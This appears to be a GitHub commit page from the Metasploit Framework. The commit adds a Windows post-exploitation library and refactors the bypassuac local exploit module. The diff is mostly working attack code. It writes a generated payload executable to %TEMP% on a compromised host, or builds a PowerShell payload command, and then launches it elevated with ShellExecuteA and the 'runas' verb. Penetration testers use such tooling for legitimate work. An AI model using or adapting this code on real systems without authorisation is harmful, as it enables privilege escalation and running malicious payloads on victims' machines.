Skip to content

Commit 8499911

Browse files
committed
Added PSH option if UAC is turned off
This will give the option to drop an exe or use psh if uac is turned off. The lib can be used for post exploitation to drop an exe or use powershell and then execute it with the runas command. I have used the lib for both bypassuac and ask.
1 parent c2a6923 commit 8499911

File tree

2 files changed

+48
-11
lines changed

2 files changed

+48
-11
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/powershell'
4+
require 'msf/core/exploit/exe'
5+
6+
module Msf::Post::Windows::Runas
7+
8+
include Msf::Post::File
9+
include Msf::Exploit::EXE
10+
include Msf::Exploit::Powershell
11+
12+
def execute_exe(filename=nil,path=nil,upload=nil)
13+
exe_payload = generate_payload_exe
14+
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
15+
payload_path = path || expand_path("%TEMP%")
16+
cmd_location = "#{payload_path}\\#{payload_filename}"
17+
if upload
18+
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
19+
write_file(cmd_location, exe_payload)
20+
else
21+
print_error("No Upload Path!")
22+
return
23+
end
24+
command,args = cmd_location,nil
25+
shell_exec(command,args)
26+
end
27+
28+
def execute_psh
29+
command,args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
30+
shell_exec(command,args)
31+
end
32+
33+
def shell_exec(command,args)
34+
print_status("Executing Command!")
35+
session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
36+
end
37+
end

modules/exploits/windows/local/bypassuac.rb

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -4,14 +4,12 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/exploit/exe'
87

98
class Metasploit3 < Msf::Exploit::Local
109
Rank = ExcellentRanking
1110

12-
include Exploit::EXE
13-
include Post::File
1411
include Post::Windows::Priv
12+
include Post::Windows::Runas
1513

1614
def initialize(info={})
1715
super( update_info( info,
@@ -37,17 +35,19 @@ def initialize(info={})
3735
'DisclosureDate'=> "Dec 31 2010"
3836
))
3937

38+
register_options([
39+
OptEnum.new("TECHNIQUE", [ true, "Technique to use if UAC is turned off", 'EXE', ['PSH', 'EXE'] ]),
40+
])
41+
4042
end
4143

4244
def runas_method
43-
payload = generate_payload_exe
44-
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
45-
tmpdir = expand_path("%TEMP%")
46-
tempexe = tmpdir + "\\" + payload_filename
47-
write_file(tempexe, payload)
48-
print_status("Uploading payload: #{tempexe}")
49-
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
50-
print_status("Payload executed")
45+
case datastore["TECHNIQUE"]
46+
when "EXE"
47+
execute_exe
48+
when "PSH"
49+
execute_psh
50+
end
5151
end
5252

5353
def exploit

0 commit comments

Comments
 (0)